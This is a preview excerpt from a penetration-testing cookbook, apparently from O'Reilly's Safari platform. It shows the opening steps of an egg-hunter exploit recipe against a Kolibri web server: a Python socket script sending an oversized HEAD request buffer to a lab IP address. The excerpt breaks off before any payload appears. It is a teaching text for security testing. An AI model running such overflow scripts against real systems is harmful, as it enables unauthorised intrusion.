O'Reilly logo

Python Penetration Testing Cookbook by Rejah Rehim

Stay ahead with the world's most comprehensive technology and business learning platform.

With Safari, you learn the way you learn best. Get unlimited access to videos, live online training, learning paths, books, tutorials, and more.

Start Free Trial

No credit card required

How to do it...

Here are the steps to generate an exploit script with egg hunters:

  1. We have to create a new exploit file. So create kolibri_exploit.py and open it in your editor.
  2. We can start with a big buffer submitting to the server. So add the following code. Make sure to update the IP address with the correct IP address of your vulnerable machine:
#!/usr/bin/python import socket import os import sys buff = "A"*600 buffer = ( "HEAD /" + buff + " HTTP/1.1\r\n" "Host: 192.168.1.37:8080\r\n" "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; he; rv:1.9.2.12) Gecko/20101026 Firefox/3.6.12\r\n" "Keep-Alive: 115\r\n" "Connection: keep-alive\r\n\r\n") expl = socket.socket(socket.AF_INET, socket.SOCK_STREAM) expl.connect(("192.168.1.37", 8080)) ...

With Safari, you learn the way you learn best. Get unlimited access to videos, live online training, learning paths, books, interactive tutorials, and more.

Start Free Trial

No credit card required